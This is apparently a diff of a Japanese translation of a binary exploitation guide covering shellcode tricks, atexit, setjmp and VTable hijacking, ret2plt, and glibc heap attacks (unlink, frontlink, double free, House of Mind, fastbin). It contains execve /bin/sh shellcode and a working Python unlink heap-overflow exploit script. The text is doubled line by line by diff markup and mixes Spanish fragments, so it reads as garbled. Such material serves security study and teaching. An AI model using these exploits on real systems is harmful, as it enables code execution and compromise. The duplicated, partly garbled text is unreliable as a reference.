char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@ -41,11 +42,11 @@ fp = (void *)shellcode;
fp(); fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span> }<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
``` ```
システムコールが正しく行われているか確認するには、前述のプログラムをコンパイルし、システムコールが**strace ./PROGRAMA\_COMPILADO**に表示される必要があります。 システムコールが正しく行われているか確認するには、前述のプログラムをコンパイルし、システムコールが**strace ./PROGRAMA\_COMPILADO**に表示される必要があります。
シェルコードを作成する際には、トリックを使用することができます。最初の命令はcallへのジャンプです。callは元のコードを呼び出し、さらにEIPをスタックに入れます。call命令の後に必要な文字列を入れており、そのEIPを使用して文字列を指し示し、さらにコードを実行できます。 シェルコードを作成する際にトリックを使うことができます。最初の命令はcallへのジャンプです。callは元のコードを呼び出し、さらにEIPをスタックに入れます。call命令の後に必要な文字列を入れているため、そのEIPを使って文字列を指し示し、さらにコードの実行を続けることができます。
**TRUCO (/bin/sh)**: EJ **トリック (/bin/sh)**:
``` ```
jmp 0x1f ; Salto al último call jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string popl %esi ; Guardamos en ese la dirección al string
@ -65,7 +66,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span> .string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
``` ```
**Stackを使用したEJ(/bin/sh):** **EJ スタックを使用して (/bin/sh):**
``` ```
section .text section .text
global _start global _start
@ -86,21 +87,20 @@ mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11 mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
``` ```
**EJ FNSTENV:** **EJ FNSTENV:**
EJ FNSTENV 命令は、スタック上の環境を保存するために使用されます。
``` ```
fabs fabs
fnstenv [esp-0x0c] fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs pop eax ; Guarda el EIP en el que se ejecutó fabs
``` ```
**Egg Hunter:** **Egg Huter:**
プロセスに関連付けられたメモリページをスキャンし、そこに保存されているシェルコードを探す小さなコードです(シェルコードに配置されたいくつかの署名を探します)。コードをインジェクトするための小さなスペースしか持っていない場合に便利です。 プロセスに関連付けられたメモリページを走査し、そこに保存されたシェルコードを探す小さなコードで構成されています(シェルコードに設定された署名を探します)。コードを注入するための小さなスペースしかない場合に便利です。
**Polymorphic Shellcodes** **Shellcodes polimórficos**
これは、暗号化されたシェルで、それを復号化してジャンプする小さなコードを持っており、Call-Popトリックを使用しています。これは**シーザー暗号化の例**です。 暗号化されたシェルで構成されており、それを復号化してジャンプする小さなコードを持っています。Call-Popのトリックを使用して、これは**暗号化されたシーザーの例**です:
``` ```
global _start global _start
_start: _start:
@ -119,19 +119,17 @@ call init
sc: sc:
;Aquí va el shellcode ;Aquí va el shellcode
``` ```
## **5.補手法** ## **5.補完的手法**
**Muratのテクニック** **ムラト技術**
Linuxではすべてのプログラムが0xbfffffffからマップされます。 Linuxではすべてのプログラムは0xbfffffffからマッピングされます。
Linuxの新しいプロセスのスタックがどのように構築されるかを見ると、プログラムがシェルコードのみの環境で起動されるようにエクスプロイトを開発できます。そのアドレスは次のように計算できます: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) Linuxで新しいプロセスのスタックがどのように構築されるかを見ることで、プログラムがシェルコードのみを持つ環境で起動されるようにエクスプロイトを開発できます。このアドレスは次のように計算できます: addr = 0xbfffffff - 4 - strlen(完全な実行可能ファイル名) - strlen(shellcode)
れにより、シェルコードを含む環境変数があるアドレスを簡単に取得できます。 のようにして、シェルコードを持つ環境変数のアドレスを簡単に取得できます。
これは、execle関数が望む環境変数のみを持つ環境を作成できるために可能です。 これは、execle関数が必要な環境変数のみを持つ環境を作成できるため可能です。
##
### ###
@ -141,127 +139,130 @@ Linuxの新しいプロセスのスタックがどのように構築されるか
### ###
### **フォーマット文字列を使ったバッファオーバーフロー** ###
**sprintf**はフォーマットされた文字列を変数に移動します。したがって、文字列のフォーマットを悪用して、コピー先の変数でバッファオーバーフローを引き起こすことができます。\ ### **フォーマット文字列によるバッファオーバーフロー**
たとえば、ペイロード`%.44xAAAA`は、変数に44B+"AAAA"を書き込み、バッファオーバーフローを引き起こす可能性があります。
**sprintf**はフォーマットされた文字列を**変数に移動**します。したがって、文字列の**フォーマット**を悪用して、内容がコピーされる**変数でバッファオーバーフローを引き起こす**ことができます。\
例えば、ペイロード`%.44xAAAA`は**変数に44B+"AAAA"を書き込み**、これによりバッファオーバーフローを引き起こす可能性があります。
### **\_\_atexit構造体** ### **\_\_atexit構造体**
{% hint style="danger" %} {% hint style="danger" %}
現在、これをエクスプロイトするのは非常に珍しいです 現在、これをエクスプロイトするのは非常に**奇妙です**
{% endhint %} {% endhint %}
**`atexit()`**は、他の関数をパラメーターとして渡す関数です。これらの関数は、**`exit()`**の実行時や**main**の戻り時に実行されます。\ **`atexit()`**は、**他の関数がパラメータとして渡される**関数です。これらの**関数**は、**`exit()`**または**main**の**戻り**を実行する際に**実行されます**。\
たとえば、これらの関数のアドレスをシェルコードを指すように変更できれば、プロセスを制御できますが、現在はより複雑です。\ これらの**関数**のいずれかの**アドレス**をシェルコードを指すように**変更**できれば、**プロセスの制御を得る**ことができますが、現在はこれがより複雑です。\
現在、実行される関数のアドレスはいくつかの構造体に隠されており、最終的にそれが指すアドレスは関数のアドレスではなく、**XOR**とランダムキーで暗号化されています。そのため、この攻撃ベクトルは現在、**x86**および**x64_86**ではあまり有用ではありません。\ 現在、実行される**関数へのアドレス**は、いくつかの構造の背後に**隠されており**、最終的に指すアドレスは関数のアドレスではなく、**XORで暗号化され**、**ランダムキー**でオフセットされています。したがって、現在この攻撃ベクターは**x86**および**x64\_86**ではあまり役に立ちません。\
暗号化関数は**`PTR_MANGLE`**です。**m68k、mips32、mips64、aarch64、arm、hppa**などの**他のアーキテクチャ**は、この暗号化関数を実装していないため、このベクトルによる攻撃が可能です。 **暗号化関数**は**`PTR_MANGLE`**です。**m68k、mips32、mips64、aarch64、arm、hppa**などの**他のアーキテクチャ**は、**暗号化**関数を実装していません。なぜなら、それは**入力として受け取ったものと同じ**を返すからです。したがって、これらのアーキテクチャはこのベクターで攻撃可能です。
### **setjmp()longjmp()** ### **setjmp() & longjmp()**
{% hint style="danger" %} {% hint style="danger" %}
現在、これをエクスプロイトするのは非常に珍しいです 現在、これをエクスプロイトするのは非常に**奇妙です**
{% endhint %} {% endhint %}
**`Setjmp()`**は、コンテキスト(レジスタ)を保存します。\ **`setjmp()`**は**コンテキスト**(レジスタ)を**保存**することを可能にします。\
**`longjmp()`**は、コンテキストを復元します。\ **`longjmp()`**は**コンテキスト**を**復元**することを可能にします。\
保存されるレジスタは、`EBX、ESI、EDI、ESP、EIP、EBP`です。\ **保存されたレジスタ**は: `EBX, ESI, EDI, ESP, EIP, EBP`\
ただし、EIPとESPは**`PTR_MANGLE`**関数によって渡されるため、この攻撃に対して脆弱なアーキテクチャは上記と同じです。\ 問題は、EIPとESPが**`PTR_MANGLE`**関数によって渡されることです。したがって、**この攻撃に対して脆弱なアーキテクチャは上記と同じです**。\
エラー回復や割り込みに役立ちます。\ これらはエラー回復や割り込みに役立ちます。\
ただし、他のレジスタは保護されていないという情報もありますので、呼び出される関数内に`call ebx`、`call esi`、`call edi`がある場合、制御を取得できます。また、ESPを変更してEBPを変更することもできます。 しかし、私が読んだところによれば、他のレジスタは保護されていないため、**関数内に`call ebx`、`call esi`、または`call edi`**がある場合、制御を奪うことができます。また、EBPを変更してESPを変更することもできます。
**C++VTableとVPTR** **C++におけるVTableとVPTR**
各クラスには、メソッドへのポインタの配列である**Vtable**があります。 各クラスには**Vtable**があり、これは**メソッドへのポインタの配列**です。
クラスのオブジェクトには、そのクラスの配列へのポインタである**VPtr**があります。VPtrは各オブジェクトのヘッダーの一部です。したがって、VPtrを上書きすると、ダミーメソッドを指すように変更でき、関数を実行するとシェルコードに移動します。 **クラス**のオブジェクトには**VPtr**があり、これはそのクラスの配列への**ポインタ**です。VPtrは各オブジェクトのヘッダーの一部であるため、**VPtr**の**上書き**が成功すれば、ダミーメソッドを指すように**変更**でき、関数を実行するとシェルコードに飛ぶことができます。
## **予防措置と回避策** ## **予防措置と回避策**
### ###
**Libsafeの置換** **Libsafeの置**
次のように有効になります: LD_PRELOAD=/lib/libsafe.so.2\ 次のようにアクティブ化されます: LD\_PRELOAD=/lib/libsafe.so.2\
または\ または\
“/lib/libsave.so.2” > /etc/ld.so.preload “/lib/libsave.so.2” > /etc/ld.so.preload
いくつかの危険な関数呼び出しを安全な関数呼び出しに置き換えます。標準化されていませんx86専用、-fomit-frame-pointerでコンパイルされていない、静的コンパイルでは機能しません、すべての脆弱な関数が安全になるわけではなく、LD_PRELOADはsetuidバイナリでは機能しません)。 不安全な関数への呼び出しを安全なものに置き換えます。標準化されていませんx86専用、-fomit-frame-pointerでコンパイルされたものには適用されず、静的コンパイルには適用されず、すべての脆弱な関数が安全になるわけではなく、LD\_PRELOADはsuidバイナリには機能しません)。
**ASCIIアーマードアドレススペース** **ASCII装甲アドレス空間**
共有ライブラリを0x00000000から0x00ffffffにロードして、常に0x00バイトがあるようにします。ただし、これはほとんどすべての攻撃を防ぐことはできず、リトルエンディアンではなおさらです 共有ライブラリを0x00000000から0x00ffffffまで読み込むことで、常にバイト0x00が存在するようにします。しかし、これは実際にはほとんどの攻撃を防ぐことはできず、特にリトルエンディアンでは効果がありません
**ret2plt** **ret2plt**
strcpy@pltpltからを呼び出し、GOTのエントリを指し、呼び出したい関数system()の最初のバイトをコピーするようにROPを実行することで構成されます。その後、GOT+1を指し、system()の2番目のバイトをコピーします。最後に、GOTに保存されたアドレスsystem()になるはず)を呼び出します。 ROPを実行してstrcpy@pltpltのを呼び出し、GOTのエントリを指し、呼び出したい関数の最初のバイトsystem()をコピーします。その後、GOT+1を指し、system()の2バイト目をコピーします… 最後に、GOTに保存されたアドレスを呼び出します。これがsystem()になります。
**chroot()によるジェイル** **chroot()によるサンドボックス**
debootstrap -arch=i386 hardy /home/user —> 特定のサブディレクトリに基本システムをインストールします。 debootstrap -arch=i386 hardy /home/user —> 特定のサブディレクトリに基本システムをインストールします。
管理者は、これらのジェイルから抜け出すことができます: mkdir foo; chroot foo; cd .. 管理者は次のようにしてこれらのサンドボックスから出ることができます: mkdir foo; chroot foo; cd ..
**コードインストゥルメンテーション** **コードインストゥルメンテーション**
Valgrind —> エラーを検出します\ Valgrind —> エラーを探します。\
Memcheck\ Memcheck\
RADReturn Address Defender\ RADリターンアドレスディフェンダー\
Insure++ Insure++
## **8 ヒープオーバーフロー: 基本的なエクスプロイト** ## **8 ヒープオーバーフロー: 基本的なエクスプロイト**
**割り当てられたチャンク** **割り当てられたチャンク**
prev_size |\ prev\_size |\
size | —ヘッダー\ size | —ヘッダー\
\*mem | データ \*mem | データ
**フリーチャンク** **空きチャンク**
prev_size |\ prev\_size |\
size |\ size |\
\*fd | 次のチャンクへのポインタ\ \*fd | 前方チャンクへのポインタ\
\*bk | 前のチャンクへのポインタ —ヘッダー\ \*bk | 後方チャンクへのポインタ —ヘッダー\
\*mem | データ \*mem | データ
フリーチャンクはダブルリンクリストbinにあり、2つのフリーチャンクが連続して存在することはありません 空きチャンクは双方向リストbinにあり、2つの空きチャンクが隣接することはありません結合されます
「size」には、前のチャンクが使用中であるか、mmap()を介して割り当てられたか、プライマリアリーナに属しているかを示すビットがあります。 “size”には、前のチャンクが使用中かどうか、チャンクがmmap()によって割り当てられたかどうか、チャンクがプライマリアリーナに属するかどうかを示すビットがあります。
チャンクを解放すると、隣接するチャンクが空いている場合、これらはunlink()マクロを介して結合され、新しい最大のチャンクがfrontlink()に渡され、適切なbinに挿入されます。 チャンクを解放する際に、隣接するチャンクのいずれかが空いている場合、これらはunlink()マクロを介して結合され、新しい大きなチャンクがfrontlink()に渡され、適切なbinに挿入されます。
unlink(){\ unlink(){\
BK = P->bk; —> 新しいチャンクのBKは以前に空いていたもののBK\ BK = P->bk; —> 新しいチャンクのBKは、以前に空いていたチャンクのBKです。\
FD = P->fd; —> 新しいチャンクのFDは以前に空いていたもののFD\ FD = P->fd; —> 新しいチャンクのFDは、以前に空いていたチャンクのFDです。\
FD->bk = BK; —> 次のチャンクのBKは新しいチャンクを指す\ FD->bk = BK; —> 次のチャンクのBKは新しいチャンクを指しま\
BK->fd = FD; —> 前のチャンクのFDは新しいチャンクを指す\ BK->fd = FD; —> 前のチャンクのFDは新しいチャンクを指しま\
} }
したがって、P->bkをシェルコードのアドレスに、P->fdをGOTまたはDTORSのエントリのアドレスから12減算したアドレスに変更すると、次のことが達成されます: したがって、P->bkをシェルコードのアドレスに、P->fdをGOTまたはDTORSのエントリのアドレス-12に変更することができれば、次のようになります:
BK = P->bk = \&shellcode\ BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\ FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
これにより、プログラムを終了するときにシェルコードが実行されます。 これにより、プログラム終了時にシェルコードが実行されます。
さらに、unlink()の4番目のステートメントは何かを書き込み、シェルコードはこれに対して修正される必要があります: さらに、unlink()の4番目のは何かを書き込み、シェルコードはこれに対して修正される必要があります:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> これにより、シェルコードの8バイト目から4バイトが書き込まれ、シェルコードの最初の命令がこれをスキップして残りのシェルコードに移動するようにするnopsに到達します。 BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> これにより、シェルコードの8バイト目から4バイトが書き込まれるため、シェルコードの最初の命令はこれをスキップして残りのシェルコードに飛ぶためのjmpである必要があります。
したがって、エクスプロイトは次のように作成されます: したがって、エクスプロイトは次のように作成されます:
buffer1に、nopsに移動するjmpで始まるシェルコードを挿入します。 buffer1にシェルコードを入れ、最初にjmpを入れてnopsまたはシェルコードの残りに飛ぶようにします。
シェルコードの後に、次のチャンクのprev_sizeとsizeに到達するまでパディングを挿入します。これらの場所には0xfffffff0prev_sizeを上書きして空いているというビットを持たせると"-4"0xfffffffcを挿入します2番目のチャンクが実際に空いているという情報を3番目のチャンクで確認するために、sizeに"-4"を挿入します。これにより、free()が調査すると、3番目のsizeに移動しますが、実際には2番目の-4に移動し、2番目のチャンクが空いていると思います。その後、**unlink()**が呼び出されます。 シェルコードの後に、次のチャンクのprev\_sizeとsizeフィールドに到達するまでパディングを入れます。これらの場所に0xfffffff0prev\_sizeが空いていることを示すビットを持つように上書きされると“-4”0xfffffffcをsizeに入れます3番目のチャンクで2番目が実際に空いているかどうかを確認する際に、変更されたprev\_sizeに行くようにします -> これにより、free()が調査すると、3番目のsizeに行きますが、実際には2番目の-4に行き、2番目のチャンクが空いていると考えます。そして、**unlink()**を呼び出します。
unlink()を呼び出すとき、P->fdには2番目のチャンクの最初のデータが使用されるため、そこに上書きしたいアドレスが入りますFD->bkにはFDに保存されたアドレスに12を加算します。そして、そのアドレスに2番目のチャンクで見つかった2番目のアドレスを挿入します。これはシェルコードのアドレスP->bk偽にしたいアドレスであることが望ましいです。
unlink()を呼び出すと、P->fdとして2番目のチャンクの最初のデータを使用するため、そこに上書きしたいアドレス-12FD->bkに12を加算しますを入れます。そして、そのアドレスに2番目のチャンクで見つけた2番目のアドレスを入れます。これがシェルコードへのアドレス偽のP->bkになります。
**from struct import \*** **from struct import \***
**import os** **import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding** **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12バイトのパディング**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@ -269,73 +270,73 @@ unlink()を呼び出すとき、P->fdには2番目のチャンクの最初のデ
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #前のチャンクが空きであることを示すビットが1であることが望ましい** **prev\_size = pack("\<I”, 0xfffffff0) #前のチャンクが空いていることを示すビットが1であることが重要です**
**fake\_size = pack("\<I”, 0xfffffffc) #-4、3番目のチャンクのサイズが4バイト手前にあると思わせるため2番目のチャンクが空きかどうかを確認する場所** **fake\_size = pack("\<I”, 0xfffffffc) #-4、3番目のチャンクの“size”が4バイト後ろにあると考えさせるためprev\_sizeを指す**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #ペイロードの先頭に8バイトのパディングを追加** **addr\_sc = pack("\<I", 0x0804a008 + 8) #ペイロードの最初に8バイトのパディングを入れます**
**got\_free = pack("\<I", 0x08048300 - 12) #free()のアドレスをplt-12に設定freeが2回目に呼び出されたときにシェルコードが実行されるアドレス)** **got\_free = pack("\<I", 0x08048300 - 12) #free()のアドレスをplt-12に(シェルコードを呼び出すために上書きされるアドレス)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #ペイロードは8バイトのパディングで始まります** **payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #ペイロードは最初に8バイトのパディングから始まります**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #2番目のチャンクを変更し、got\_freeはaddr\_sc + 12のアドレスを保存する場所を指す** **payload += prev\_size + fake\_size + got\_free + addr\_sc #2番目のチャンクを変更し、got\_freeはaddr\_sc + 12のアドレスを保存する場所を指します**
**os.system("./8.3.o " + payload)** **os.system("./8.3.o " + payload)**
**unset()を使用して逆順に解放wargame** **unset() 逆順で解放wargame**
3つの連続したチャンクを制御し、予約された順序とは逆に解放されます。 3つの連続したチャンクを制御しており、予約された順序とは逆に解放されます。
その場合 その場合:
チャンクcにシェルコードを配置します チャンクcにシェルコードを置きます。
チャンクaを使用して、bを上書きして、サイズがPREV\_INUSEビットがオフになるようにします。つまり、チャンクaが空きであると思わせます。 チャンクaを使用してbを上書きし、sizeがPREV\_INUSEビットをオフにして、チャンクaが空いていると考えさせます。
さらに、ヘッダーbのサイズを-4に上書きします。 さらに、bのヘッダーのsizeを-4に上書きします。
その後、プログラムは「a」が空きであり、バイナリであると考えるため、unlink()を呼び出します。ただし、ヘッダーPREV\_SIZEが-4であるため、「a」のチャンクが実際にはb+4から始まると考えます。つまり、b+4でunlink()が実行され、b+12にはポインター「fd」があり、b+16にはポインター「bk」があります。 これにより、プログラムは“a”が空いていると考え、binに入るため、unlink()を呼び出します。しかし、ヘッダーのPREV\_SIZEが-4であるため、チャンク“a”は実際にはb+4から始まると考えます。つまり、b+4から始まるチャンクにunlink()を行い、b+12にfdポインタがあり、b+16にbkポインタがあります。
たがって、bkにシェルコードのアドレスを、fdに「puts()」のアドレス-12を入れると、ペイロードが完成します。 このようにして、bkにシェルコードのアドレスを、fdに“puts()”のアドレス-12を入れることで、ペイロードが完成します。
**Frontlink技術** **フロントリンク技術**
何も連続するチャンクが解放されない場合、unlink()ではなく直接frontlink()が呼び出されます。 フロントリンクは、何かを解放したときにその隣接するチャンクが空いていない場合に呼び出され、unlink()ではなく直接frontlink()が呼び出されます。
攻撃されるmallocが決して解放free()されない場合に有用な脆弱性です。 mallocが攻撃されるときに決して解放されない場合に有用です。
必要なもの 必要なもの:
データ入力関数でオーバーフローする可能性のあるバッファ データ入力関数でオーバーフローできるバッファ
このバッファに隣接する解放されるバッファで、前のバッファのオーバーフローによりヘッダーのfdフィールドが変更される この隣接するバッファは解放され、前のバッファのオーバーフローによってヘッダーのfdフィールドが変更されます。
512より大きく、前のバッファより小さいサイズの解放するバッファ サイズが512より大きいが前のバッファより小さいバッファ
この前のステップ3で宣言されたバッファは、このバッファのprev\_sizeを上書きできる この3番目のバッファのprev\_sizeを上書きできるように、前に宣言されたバッファ
このようにして、2つのmallocを無秩序に上書きし、1つは制御された方法で解放されるだけで、エクスプロイトを実行できます。 このようにして、2つのmallocを制御不能に上書きし、1つを制御された形で解放することで、エクスプロイトを作成できます。
**ダブルフリー脆弱性** **ダブルフリー()の脆弱性**
同じポインタ2回free()を呼び出すと、2つのbinが同じアドレスを指すようになります。 同じポインタでfree()を2回呼び出すと、2つのbinが同じアドレスを指ます。
1つを再利用する場合は問題ありません。もう1つを使用しようとすると、前の予約が書き込むデータで「fd」と「bk」が偽装されます。 1つを再利用しようとすると、問題なく割り当てられます。別のものを使用しようとすると、同じスペースが割り当てられるため、ポインタ“fd”と“bk”が以前の予約によって書き込まれたデータで偽装されます。
**After free()** **free()**
以前解放されたポインターが制御なしに再利用されます。 以前に解放されたポインタが再び制御なしに使用されます。
## **8 Heap Overflows: Exploits avanzados** ## **8 ヒープオーバーフロー: 高度なエクスプロイト**
unlink()とFrontLink()の技術は、unlink()関数を変更することで削除されました。 unlink()とfrontlink()の技術は、unlink()関数を変更することで削除されました。
**The house of mind** **心の家**
コードを任意に実行するには、free()を1回だけ呼び出すだけで十分です。前のものによってオーバーフローされ、解放される可能性のある2番目のチャンクを探すことが重要です。 任意のコードを実行するには、free()を1回呼び出すだけで済みます。攻撃者が前のチャンクによってオーバーフローされ、解放される可能性のある2番目のチャンクを探すことが重要です。
free()の呼び出しはpublic\_fREe(mem)を呼び出します。これは次のように機能します: free()の呼び出しはpublic\_fREe(mem)を呼び出し、これを行います:
mstate ar\_ptr; mstate ar\_ptr;
@ -343,26 +344,26 @@ mchunkptr p;
p = mem2chunk(mes); —> チャンクが始まるアドレスmem-8へのポインターを返します p = mem2chunk(mem); —> チャンクの開始アドレスへのポインタを返しますmem-8
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1] ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
_int_free(ar_ptr, mem); \_int\_free(ar\_ptr, mem);
} }
\[1\]では、サイズフィールドとNON\_MAIN_ARENAビットを確認し、このチェックがtrueを返すように変更でき、heap_for_ptr()が実行されるようにします。これにより、memの下位2.5バイトが0になり、0x08000000のようになり、0x08000000->ar_ptrstruct heap_infoとして扱われるにアクセスできます \[1]では、sizeフィールドのNON\_MAIN\_ARENAビットを確認し、このビットを変更してチェックがtrueを返すようにし、heap\_for\_ptr()を実行します。これにより、memの最も重要でない2.5バイトが0に設定されこの場合0x0804a000から0x08000000になります、0x08000000->ar\_ptrにアクセスしますheap\_info構造体のように
したがって、たとえば0x0804a000に制御できるチャンクがあり、0x081002a0にチャンクが解放される場合、0x08100000に到達し、たとえば0x0804a000に書き込むことができます。この2番目のチャンクが解放されると、heap_for_ptr(ptr)->ar_ptrが0x08100000に書き込んだ内容を取得します0x081002a0に適用されるand演算により、最初の4バイトの値、ar_ptrが取得されます)。 このようにして、例えば0x0804a000のチャンクを制御でき、**0x081002a0**でチャンクが解放されると、0x08100000に到達し、任意のものを書き込むことができます。例えば**0x0804a000**。この2番目のチャンクが解放されると、heap\_for\_ptr(ptr)->ar\_ptrは0x08100000に書き込まれたものを返します前述のandが0x081002a0に適用され、最初の4バイトの値が取得されます)。
したがって、\_int_free(ar_ptr, mem)が呼び出されます。つまり、\_int_free(0x0804a000, 0x081002a0)が呼び出されます。\ このようにして、\_int\_free(ar\_ptr, mem)が呼び出されます。つまり、**\_int\_free(0x0804a000, 0x081002a0)**\
**\_int_free(mstate av, Void_t\* mem){**\ **\_int\_free(mstate av, Void\_t\* mem){**\
…\ …\
bck = unsorted_chunks(av);\ bck = unsorted\_chunks(av);\
fwd = bck->fd;\ fwd = bck->fd;\
p->bk = bck;\ p->bk = bck;\
p->fd = fwd;\ p->fd = fwd;\
@ -371,33 +372,34 @@ fwd->bk = p;
..} ..}
前述のように、avの値を制御できるため、解放されるチャンクに書き込むことができます。 前述のように、avの値を制御できることがわかります。これは、解放されるチャンクに書き込んだものです。
unsorted_chunksがどのように定義されているかを考えると、次のことがわかります\ unsorted\_chunksが定義されているように、次のことがわかります:\
bck = \&av->bins\[2]-8;\ bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\ fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p; fwd->bk = \*(av->bins\[2] + 12) = p;
したがって、av->bins\[2\]に\_\_DTOR\_END\_\_-12の値を書き込むと、最後の命令で\_\_DTOR\_END\_\_に2番目のチャンクのアドレスが書き込まれます。 したがって、av->bins\[2]に\_\_DTOR\_END\_\_-12の値を書き込むと、最後の命令で\_\_DTOR\_END\_\_に2番目のチャンクのアドレスが書き込まれます。
つまり、最初のチャンクの先頭に\_\_DTOR\_END\_\_-12のアドレスを何度も書き込む必要があります。av->bins\[2\]がそこから取得するためです。 つまり、最初のチャンクの最初に\_\_DTOR\_END\_\_-12のアドレスを何度も入れる必要があります。なぜなら、av->bins\[2]がそこから取得するからです。
2番目のチャンクのアドレスが落ちる場所に、最後の5桁が0のアドレスに、最初のチャンクのアドレスを書き込む必要があります。これにより、heap_for_ptr()がar_ptrが最初のチャンクの先頭にあると思い込み、av->bins\[2\]を取得します。 2番目のチャンクのアドレスに最後の5つのゼロがある場合、最初のチャンクのアドレスを書き込む必要があります。これにより、heap\_for\_ptr()はar\_ptrが最初のチャンクの開始位置にあると考え、av->bins\[2]を取得します。
第2部分では、第1部分によってprev\_sizeをjump 0x0cで上書きし、sizeにはNON\_MAIN\_ARENAを有効にする値を入れます。
次に、第2部分には多くのnopsを配置し、最後にシェルコードを配置します。 2番目のチャンクでは、最初のチャンクのおかげでprev\_sizeを0x0cのjmpで上書きし、sizeをNON\_MAIN\_ARENAを有効にするための何かにします。
これにより、\_int\_free(TROZO1, TROZO2)が呼び出され、\_\_DTOR\_END\_\_にTROZO2のprev\_sizeのアドレスが書き込まれ、そこからシェルコードにジャンプします。 次に、チャンク2にたくさんのnopsを置き、最後にシェルコードを置きます。
このテクニックを適用するには、ペイロードを少し複雑にするいくつかの要件を満たす必要があります。 このようにして、\_int\_free(TROZO1, TROZO2)が呼び出され、TROZO2のprev\_sizeにシェルコードへのアドレスが書き込まれます。
このテクニックはもはや適用できません。unlinkにほぼ同じパッチが適用されました。新しいポインタが指す場所が、そのポインタ自体を指しているかどうかを比較します。 この技術を適用するには、ペイロードを少し複雑にするためにいくつかの要件を満たす必要があります。
**Fastbin** この技術は、unlinkに対してほぼ同じパッチが適用されたため、もはや適用できません。新しいポインタが自分自身を指しているかどうかを比較します。
The house of mindの変種です。 **ファストビン**
\_int\_free()関数の最初のチェックを通過した後に実行されるコードに到達することが重要です。 これは心の家の変種です。
次のコードを実行するために必要です。これは、\_int\_free()関数の最初のチェックを通過した後に到達します。
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2 fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
@ -407,57 +409,61 @@ p->fd = \*fb
\*fb = p \*fb = p
れにより、"fb"にはGOT内の関数のアドレスが入ります。このアドレスに、上書きされたチャンクのアドレスが配置されます。これには、アリーナがdtorsのアドレスに近い位置にある必要があります。 のようにして、fbにGOTの関数のアドレスを入れると、そのアドレスに上書きされたチャンクのアドレスが入ります。これを行うには、アリーナがdtorsのアドレスの近くにある必要があります。より正確には、av->max\_fastが上書きするアドレスにある必要があります。
The House of Mindでアリーナの位置を制御できることがわかったため、sizeフィールドに8 + NON\_MAIN\_ARENA + PREV\_INUSEを設定すると、fastbin\_index()はfastbins\[-1]を返し、これがav->max\_fastを指すようにすることができます。 心の家で見たように、avの位置を制御できることがわかります。
さらに、解放されたチャンクの隣接するチャンクのサイズが8より大きい必要があります。解放されたチャンクのサイズが8であると述べたので、偽のチャンクには8より大きいサイズを設定するだけで十分ですさらに、シェルコードは解放されたチャンクに配置されるため、最初にnopsにジャンプするjmpを配置する必要があります したがって、sizeフィールドに8 + NON\_MAIN\_ARENA + PREV\_INUSEのサイズを入れると、fastbin\_index()はfastbins\[-1]を返し、av->max\_fastを指します
さらに、同じ偽のチャンクはav->system\_memよりも小さくなければなりません。av->system\_memはその位置よりも1848バイト先にあります この場合、av->max\_fastは上書きされるアドレスになります指すのではなく、その位置が上書きされます
DTOR\_ENDのNULLとGOT内のアドレスが少ないため、これらのセクションのどのアドレスも上書きに適していないため、fastbinを使用してスタックを攻撃する方法を見てみましょう。 さらに、解放されたチャンクの隣接チャンクは8より大きくなければなりません -> 先ほど解放されたチャンクのサイズが8であるため、この偽のチャンクには8より大きいサイズを入れる必要がありますシェルコードが解放されたチャンクに入るため、最初にnopsに飛ぶjmpを入れる必要があります
さらに、この偽のチャンクはav->system\_memより小さくなければなりません。av->system\_memは1848バイト先にあります。
\_\_DTOR\_END\_のゼロとGOTのアドレスの少なさのため、これらのセクションのアドレスは上書きするのに適していないため、スタックを攻撃するためにファストビンを適用する方法を見てみましょう。
別の攻撃方法は、**av**をスタックにリダイレクトすることです。 別の攻撃方法は、**av**をスタックにリダイレクトすることです。
